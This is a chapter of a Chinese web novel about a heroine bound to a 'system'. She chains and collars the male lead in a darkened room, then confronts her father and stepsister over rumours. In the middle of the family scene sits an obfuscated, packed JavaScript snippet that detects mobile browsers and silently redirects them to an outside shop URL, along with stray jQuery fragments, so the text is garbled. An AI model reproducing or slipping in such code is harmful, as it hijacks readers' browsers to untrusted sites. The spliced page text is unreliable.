植雨直冲冲地往家跑,根本没管江淮跟没跟上来。
“破系统我不要完成任务了!”
“你这个大骗子!”
“先是骗我签了个莫名其妙的合约,背上了莫名其妙的千万债务,又给我下了莫名其妙根本不可能完成的任务。”
“呜呜呜……对不起宿主。我真的不知道这是怎么回事。”008的声音带着哭腔。
“再这样我就放弃任务,我不干了!”植雨抱着手臂,噘着嘴。
“不要啊宿主!”008的天也塌了,这次任务完不成它可是要被扔去机械厂打螺丝了!
“天将降大任于斯人也,必先劳其筋骨、饿其体肤、困乏其身……宿主这一定是对你的考验,一定会有办法的,你不要放弃啊!”
“你当初明明跟我说这是最简单的F级任务,照着你的指示做就万事大吉!我哪一步没有照做?!”植雨抬手刷开604的门。
关门的一瞬间,一个膝盖顶住了门边。
长长的腿不等她反应已经跨了进来。
植雨讶异地看了他一眼,她是真不知道该怎么办了,这个烫手山芋怎么就是不恨她?
脑海里冒出一个粗暴的念头。那就做一件足够让他厌恶的事!把他关黑屋!
“过来!”她摆出颐指气使的姿态,手里捏着那条黑色皮质项圈,内里毛茸茸的软垫在指尖微微凹陷。
本以为他会抗拒、会冷眼对峙。
可江淮却径直走到她面前,微微低下头颅。灰蓝色眼眸沉沉锁定着她,周身裹挟的压迫感扑面而来,逼得植雨下意识往后退了半步。
她还没忘他当初扼住自己脖颈的恐怖力量,当时如果不是他身体还虚弱,及时将他电晕,她早就是一缕亡魂了。
江淮不知道植雨想得什么,却能感受到她微微颤抖的指尖泄露的紧张。
他低头,从她双手之间穿过,她的手顿时变成搭在他肩头,两人的距离一下子拉近,姿势暧昧得如同情侣相拥。
江淮的视线如同细密缠绕的蛛丝,牢牢攫住她。哪怕植雨窘迫地垂下眼帘,那道目光也没有移开分毫。
从她卷翘的睫毛,到微微泛红的双眼,再到因为用力而充血泛红的掌心……每一寸都不放过。
被这样近距离的沉默注视,植雨感觉浑身不自在,她将注意力集中在他颈部的项圈上。金属的外层包了一层皮质的锁扣,她慌乱地想要将锁扣扣上,却越忙越乱。
他凸起的喉结压抑地滚动几下,擦过她的手背。
植雨猛地抬眼,撞进他眼底那片深不见底的幽暗。
她想要往后躲闪,手腕却被他轻轻攥住。
如同耐心安抚闹脾气小孩一般,他握着她的手,带着她的指尖对准卡扣。
“你看,这不是很简单。”
清冽如林木的气息尽数笼罩住她。青年微微垂首,慵懒地凝视着她,说话时喉结就在她的手底轻轻震动。
明明之前二人还有过更加近距离的接触,可唯独这一刻,让她脸颊烧得发烫,心跳乱得一塌糊涂。
他不会斯德哥尔摩了吧?
植雨猛地抽回手,拽住锁链连连向后退开。
她沉默着将锁链再次固定到卧室墙柱上,脑海中却像开水壶一般尖锐鸣叫——
怎么回事啊!男主怎么会斯德哥尔摩!她是要刷憎恨值不是好感度啊!
几乎是落荒而逃一般冲出卧室。
她关上房门,控制光脑将卧室的灯光全部关闭,并打开了光线屏蔽器,让卧室陷入了一片黑暗——星际人的睡眠普遍不是很好,像这类东西几乎是空调一般普遍。植雨一直没用过,没想到有一天这东西竟然用在了这种地方。
对不起了。
植雨咬咬牙,她真的没有其他办法了。
忙完这一切,她才注意到手腕光脑不停疯狂闪烁。点开一看,上百条未读消息扑面而来。乐颜、卫戍都发来消息,关切询问她的安危。还有一大段来自植明诚的训斥,字字句句满是怒骂,指责她行事不知廉耻。不用想也知道,定然是萧意雪回去添油加醋搬弄是非。
植雨先简单回复乐颜与卫戍报平安,紧接着,给卫戍发送一条通讯,让他尽快过来接自己。也是时候回去一趟,好好会一会这位好妹妹了。
卫戍到604公寓的时候,第一眼注意到的便是她绯红的脸。
她今天穿了一件水粉色的裙子,裙子结构复杂,腰掐得极细,仿佛一只手就能轻易握住。裙摆层层叠叠,像花朵一样微微蓬起,衬得腿越发纤细,像音乐盒里翩翩起舞的少女。
他的目光一沉,第一时间看向那扇紧紧闭合、隔绝了全部光亮的卧室房门。心底莫名泛起一丝连他自己都未曾察觉的忮忌。
他比谁都清楚植雨的身手,单凭她一个人,根本不可能真正压制住江淮那样的人物。他本以为,方才楼道一番混乱,那个男人大可趁机脱身远走高飞,可没想到,居然还是跟着回来了。
视线再落回植雨脸上,少女脸颊还带着一层尚未完全褪去的淡淡红晕,眉眼间混杂着窘迫、无力还有几分说不清道不明的纷乱。
卫戍的心底不由得浮起几分联想——方才紧闭的房门之内,究竟发生过什么。
植雨语气略显疲惫,“如果我这两天没回来,你帮我看一下他。我启动了光线屏蔽,锁链已经固定在墙柱上。机器人会按时送餐,不要擅自解开项圈。”
卫戍压下心底纷乱的念头,微微颔首:“我明白了。这里我会留意。”
植雨没有再多逗留,跟着卫戍一同离开了公寓。
侯爵府依旧是记忆里那副富丽堂皇的模样,可踏进门的一刻,压抑的气氛便扑面而来。植明诚正背着手站在客厅中央,脸色阴沉得如同暴雨将至,见到植雨跨进门,当即劈头盖脸一顿叱骂。
“你还知道回来!看看星网上传得沸沸扬扬的流言!私藏不明男子,行事放荡,你把侯爵府的脸面丢得一干二净!”
斥责的声音在大厅回荡。沈漪柔端坐在一旁沙发上,眉眼温婉,萧意雪怯生生站在她身侧,垂着眼,一副安分受气的模样。
面对父亲雷霆般的怒火,植雨却没有半分慌乱。“父亲也知道那是流言啊,流言就是未经证实的东西,父亲不去骂泼我脏水的人,却在这里怪我,可真有意思。”
“你满口狡辩!”植明诚气得上前就要给植雨一巴掌,却被她狠厉的眼神逼退。
“父亲就要这么不分青红皂白打我吗?”她扬起脸,没有丝毫畏惧。
植明诚的手握成了拳头,“好好好,那你倒是说说昨天是怎么回事?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965867|214512||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她抬眼,声音清晰冷静,“昨天到访过我那套私宅的外人,就只有萧意雪一个人。事情发生之后流言立刻铺天盖地冒出来,怎么偏偏,她从我的住处离开,消息就传遍了网络?”
萧意雪听到植雨提起她的名字,先是求救地向沈漪柔投去一眼,然后眼泪蒙蒙地望向植雨,“姐姐,我真的没有,你怎么能这样想我呢。”
“真的没有吗?”植雨眼中似有寒芒闪过,“昨晚的星脑通话记录你想必已经删除了,可那些记者的通话记录呢?我要是有心去找,总能找到蛛丝马迹……”
“我只是……”她心虚地顿了顿,“关心姐姐的安危,在一个朋友面前多说了几句,也许就是那时候走漏了消息。我真的不知道事情最后会变成这样啊……”
植雨直视着身旁的萧意雪。“你若是真的关心我的安危,发现疑点,为什么不当面向我问清楚,反倒和朋友吐露?”
突如其来的质问,让萧意雪身子轻轻一颤,一双眼眸迅速蒙上水汽,一副受了莫大委屈的模样。
“姐姐,我真的不是故意的,那些流言我也是后来才在星网上看到的。如果有什么地方让你误会,我向你道歉。”她微微低下头,语气柔柔弱弱,把无辜扮演得淋漓尽致。
植明诚闻言,脸上也是一黑,他本来以为萧意雪是个乖巧懂事的,可这事她做得不脱贴,还因此伤了侯爵府的面子,“意雪,这事是你说出去的?”
“爸爸,我真的不是故意的。我昨晚上看到姐姐房门紧闭,屋里还停过电,就担心是不是附近有虫族。回去的时候公主殿下来电话,我就不小心和她说了这件事。”萧意雪满脸是泪。
公主殿下!植明诚脸色一变,如果是这位娇纵的殿下那很有可能做出这种事。
“你和公主殿下关系很好?”植明诚精明的眼睛里带着估量与探究。
“上次我画了一幅画,很得公主喜欢,因此多了些共同语言,公主时常与我探讨作画。”
沈漪柔适时上前一步,柔声打圆场,伸手轻轻拍了拍萧意雪的肩膀。“好了好了,既然只是谣言,就不必再揪着不放,下次在公主殿下面前,嘴巴严一点。一家人,何必闹得这么难堪。”
植雨心底冷笑。好一个一家人,轻飘飘一句话,就要把萧意雪暗中捅出来的刀子一笔勾销。
她倒是看出来了,为着公主殿下的关系,植明诚也不想把萧意雪怎么样。
就在气氛僵持不下的时候,两名佣人提着好几个装潢华丽、缎面烫金的礼服口袋,步履款款走进客厅。“小姐,您的成人礼礼服送过来了,请您移步试穿。”佣人看向一旁的萧意雪,恭敬开口。
植雨闻言微微一怔。
萧意雪的成人礼。
她后知后觉反应过来,日子已经近在眼前。母亲遗留的那枚祖母绿宝石,继母打算在这场宴会上转手送给萧意雪的记忆片段,瞬间在脑海里翻涌上来。
眼底的神色冷了几分。这场成人礼,注定不会太平。
萧意雪听到礼服,脸上立刻漾开甜美的笑意,一扫方才的委屈,微微屈膝道谢:“辛苦你们了。”
说罢,她似是无意地瞥了一眼站在原地的植雨,眼底飞快掠过一丝不易察觉的得意,将桌上一张烫金的请柬塞到了植雨手里,“姐姐过几天一定要来啊。”